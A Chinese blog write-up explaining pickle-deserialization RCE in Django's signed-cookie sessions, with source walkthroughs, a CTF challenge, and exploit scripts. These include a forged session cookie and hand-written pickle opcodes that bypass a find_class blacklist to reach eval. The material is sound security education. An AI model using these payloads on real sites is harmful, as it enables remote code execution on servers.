由Django-Session配置引发的反序列化安全问题

news2024/11/19 22:48:16

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
  2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
  3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
  4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
  5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. ‘django.contrib.sessions.serializers.JSONSerializer’:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
  2. ‘django.contrib.sessions.serializers.PickleSerializer’:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    """
    Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
    None, use settings.SECRET_KEY instead.

    If compress is True (not the default), check if compressing using zlib can
    save some space. Prepend a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    """
    data = serializer().dumps(obj)		# 使用选定的类进行序列化

    # Flag for if it's been compressed or not
    is_compressed = False
	
    # 数据压缩处理
    if compress:
        # Avoid zlib dependency unless compress is being used
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()			# base64编码 decode转化成字符串
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)	# 返回一个签名值


# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raise BadSignature if signature fails.

    The serializer is expected to accept a bytestring.
    """
    # TimestampSigner.unsign() returns str but base64 and zlib compression
    # operate on bytes.
    base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
    decompress = base64d[:1] == b'.'
    if decompress:
        # It's compressed; uncompress it first
        base64d = base64d[1:]
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class Signer:

    def __init__(self, key=None, sep=':', salt=None):
        # Use of native strings in all versions of Python
        self.key = key or settings.SECRET_KEY	# key默认为settings中的配置项			
        self.sep = sep
        if _SEP_UNSAFE.match(self.sep):
            raise ValueError(
                'Unsafe Signer separator: %r (cannot be empty or consist of '
                'only A-z0-9-_=)' % sep,
            )
        self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)

    def signature(self, value):
        # 利用salt、value、key做一次签名
        return base64_hmac(self.salt + 'signer', value, self.key)

    def sign(self, value):
        return '%s%s%s' % (value, self.sep, self.signature(value))

    def unsign(self, signed_value):
        if self.sep not in signed_value:
            raise BadSignature('No "%s" found in value' % self.sep)
        value, sig = signed_value.rsplit(self.sep, 1)
        if constant_time_compare(sig, self.signature(value)):
            return value
        raise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):

    def timestamp(self):
        return baseconv.base62.encode(int(time.time()))

    def sign(self, value):
        value = '%s%s%s' % (value, self.sep, self.timestamp())
        return super().sign(value)

    def unsign(self, value, max_age=None):
        """
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        """
        result = super().unsign(value)
        value, timestamp = result.rsplit(self.sep, 1)
        timestamp = baseconv.base62.decode(timestamp)
        if max_age is not None:
            if isinstance(max_age, datetime.timedelta):
                max_age = max_age.total_seconds()
            # Check timestamp is not older than max_age
            age = time.time() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age))
        return value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

image-20231009201626771

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

  • 老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

image-20231009195204458

  • AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

image-20231009195521704

  • 随后调用Django auth模块下的get_user函数和_get_user_session_key函数

image-20231009195847424

image-20231009200451030

  • 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

image-20231009200700904

image-20231009200837563

image-20231009200846377

  • loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

image-20231009201813801

漏洞利用

首先利用条件如下:

image-20231009113436367

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import os
import django.core.signing
import requests


# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    protocol = pickle.HIGHEST_PROTOCOL

    def dumps(self, obj):
        return pickle.dumps(obj, self.protocol)

    def loads(self, data):
        return pickle.loads(data)


SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

class exp():
    def __reduce__(self):
        # 返回一个callable 及其参数的元组
        return os.system, (('calc.exe'),)

_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)

resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

image-20231009202058822

Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            # 校验data是否为字符串
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)                     # 读取data
            return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class Person:
     def __init__(self, name):
         self.name = name

# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)

# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")


# 可以设置default值
age = getattr(person, "age", 30)
print(age)

builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

image-20231010215502906

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')		# GLOBAL为导入
dict = GLOBAL('builtins', 'dict')		
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()				
__builtins__ = dict_get(builtins, '__builtins__')			# 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

image-20231010214357341

查看Django.core.signing模块,复刻sign写exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64

PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'

SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"


def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b"=")

base64d = b64_encode(PayloadToBeEncoded).decode()

def exp(key, payload):
    global salt
    # Flag for if it's been compressed or not.
    is_compressed = False
    compress = False
    if compress:
        # Avoid zlib dependency unless compress is being used.
        compressed = zlib.compress(payload)
        if len(compressed) < (len(payload) - 1):
            payload = compressed
            is_compressed = True
    base64d = b64_encode(payload).decode()
    if is_compressed:
        base64d = "." + base64d
    session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
    print(session)

然后传session即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1112278.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MSQL系列(六) Mysql实战-SQL语句优化

Mysql实战-SQL语句优化 前面我们讲解了索引的存储结构&#xff0c;BTree的索引结构&#xff0c;以及索引最左侧匹配原则&#xff0c;Explain的用法&#xff0c;可以看到是否使用了索引&#xff0c;今天我们讲解一下SQL语句的优化及如何优化 文章目录 Mysql实战-SQL语句优化1.…

统信uos 1030 企业版 安装.net core环境

安装.net core步骤 添加密钥和包存储库 安装 .NET 之前&#xff0c;请运行以下命令&#xff0c;将 Microsoft 包签名密钥添加到受信任密钥列表&#xff0c;并添加包存储库wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages-mic…

nuxt使用i18n进行中英文切换

中文效果图&#xff1a; 英文效果图&#xff1a; 版本&#xff1a; 安装&#xff1a; npm install vue-i18n8.27.0 --savenpm i nuxtjs/i18n # npm 新建en.js与zh.js两个文件进行切换显示 en.js内容 import globals from ./../js/global_valexport default {/******* 公共内…

什么是软件测试? 软件测试都有什么岗位 ?软件测试和调试的区别? 软件测试和开发的区别?软件测试等相关概念入门篇

1、什么是软件测试&#xff1f; 常见理解&#xff1a; 软件测试就是找BUG&#xff0c;发现缺陷 真正理解&#xff1a; 软件测试就是验证软件产品特性是否满足用户的需求 测试定义&#xff1a; 测试人员验证软件是否符合需求的这个过程就是测试 2、为什么要有测试 标准情况下&a…

ShareMouse for Mac(多台电脑鼠标键盘共享软件)

ShareMouse mac版是一款Mac平台上可以在多台电脑间共享鼠标的工具软件&#xff0c;sharemousefor Mac支持 Windows 与 Mac&#xff0c;并可以在不同电脑间共享剪贴板。只需要移动鼠标指针的到想控制的显示器那里去、鼠标光标就会神奇地“跨越”到邻近的电脑屏幕上。每个计算机都…

vue中使用coordtransform 互相转换坐标系

官方网站&#xff1a;https://www.npmjs.com/package/coordtransform 在使用高德sdk时&#xff0c;其返回的坐标在地图上显示时有几百米的偏移&#xff0c;这是由于高德用的是 火星坐标&#xff08;GCJ02&#xff09;&#xff0c;而不是wgs84坐标。为了消除偏移&#xff0c;将G…

KubeSphere安装mysql8

需要持久化储存数据的&#xff0c;建立有状态服务。 无状态服务是不会持久化的&#xff0c;重启就归零 KubeSphere 创建自建应用后&#xff0c;创建有状态服务&#xff0c;但是自己应用的有状态服务不能外放端口&#xff0c;需要在服务哪里删除pod&#xff0c;在创建负载指定相…

微信小程序会议OA系统其他页面

前言&#xff1a; 及上一文章&#xff1a;https://blog.csdn.net/djssubddbj/article/details/133895170?spm1001.2014.3001.5501我们所写的会议OA的首页&#xff0c;在这个上面我们继续完成我们的会议OA系统&#xff0c;这是我们的本期所要完成的页面 自定义组件 微信小程序…

基于MATLAB的GPS卫星绕地运行轨迹动态模拟仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 Prn NavData(PRNS_SEL,1);%识别导航数据中的PRNiode NavData(PRNS_SEL,11);%企…

客户端post请求,服务器收到{}数据解决方法

当我们发起登录请求时&#xff0c;后台接收到的为{}数据 原因&#xff1a;传送过去的对象格式不对 解决方案&#xff1a; 引入qs npm install qs 在data中格式化数据 const res await axios({url:http://127.0.0.1:3000/post,method:post,data:Qs.stringify({username:te…

【试题024】C语言强制转型小例题

1.题目&#xff1a;设int a7; float x2.5,y4.7;,则表达式x3%(int)(xy)/4的值是 &#xff1f; 2.代码分析&#xff1a; #include <stdio.h> int main() { //设int a7; float x2.5,y4.7;,则表达式x3%(int)(xy)/4的值是 &#xff1f;int a 7;float x 2.5, y 4.7;printf…

持续集成工具jenkins操作

安装Jenkins 下载jenkins安装包 linux上下载jenkins失败 开始在windows上安装jenkins 1、先安装JDK https://jingyan.baidu.com/article/fdbd4277dd90f0b89e3f489f.html 免安装版本JDK只需要解压配置环境变量即可 2、安装Jenkins 参考文档&#xff1a; https://www.cnb…

Spring framework Day24:定时任务

前言 在我们的日常生活和工作中&#xff0c;时间管理是一项至关重要的技能。随着各种复杂任务的增加和时间压力的不断增加&#xff0c;如何更好地分配和利用时间成为了一项迫切需要解决的问题。在这样的背景下&#xff0c;定时任务成为了一种非常有效的解决方案。 定时任务&a…

在中国,技术到底有多有用?

&#x1f64c;秋名山码民的主页 &#x1f602;oi退役选手&#xff0c;Java、大数据、单片机、IoT均有所涉猎&#xff0c;热爱技术&#xff0c;技术无罪 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; 获取源码&#xff0c;添加WX 目录 前言1.…

SpringBoot结合Druid实现SQL监控

1、前言 SpringBoot不用我多介绍了吧&#xff0c;目前后端最流行的框架。后端开发人员最基本的要求。 Druid数据库连接池&#xff0c;出自国内 ”java圣地" 阿里巴巴。 Druid是一个用于大数据实时查询和分析的高容错、高性能开源分布式系统&#xff0c;旨在快速处理大规模…

迅为RK3568开发板RTMP推流之视频监控

1 搭建 RTMP 媒流体服务器 nginx-rtmp 是一个基于 nginx 的 RTMP 服务模块&#xff0c;是一个功能强大的流媒体服务器模块&#xff0c; 它提供了丰富的功能和灵活的配置选项&#xff0c;适用于构建各种规模的流媒体平台和应用。无论是搭建实时视频直播平台、点播系统或多屏互…

【Qt】常见控件

文章目录 按钮组QListWidget列表容器TreeWidget树控件TableWidget 表格控件其它控件介绍下拉框QLabel显示图片和动图 自定义控件封装 按钮组 QPushButton 常用按钮 QToolButton 工具按钮&#xff1a; 用于显示图片 如果想显示文字&#xff1a;修改风格&#xff1a;toolButto…

分类预测 | MATLAB实现基于BiGRU-AdaBoost双向门控循环单元结合AdaBoost多输入分类预测

分类预测 | MATLAB实现基于BiGRU-AdaBoost双向门控循环单元结合AdaBoost多输入分类预测 目录 分类预测 | MATLAB实现基于BiGRU-AdaBoost双向门控循环单元结合AdaBoost多输入分类预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 1.MATLAB实现基于BiGRU-AdaBoos…

Hadoop3教程(二十五):Yarn的多队列调度器使用案例

文章目录 &#xff08;136&#xff09;生产环境多队列创建&好处&#xff08;137&#xff09;容量调度器多队列提交案例如何创建多个队列如何向指定队列提交任务 &#xff08;138&#xff09;容量调度器任务优先级&#xff08;139&#xff09;公平调度器案例参考文献 &#…

【Java 进阶篇】JavaScript 表格全选案例详解

在网页开发中&#xff0c;表格&#xff08;Table&#xff09;是一种常用的HTML元素&#xff0c;用于以表格形式展示数据。对于包含大量数据的表格&#xff0c;提供一个全选复选框可以极大地提高用户体验&#xff0c;方便用户一次性选择或取消选择所有项目。本篇博客将详细介绍如…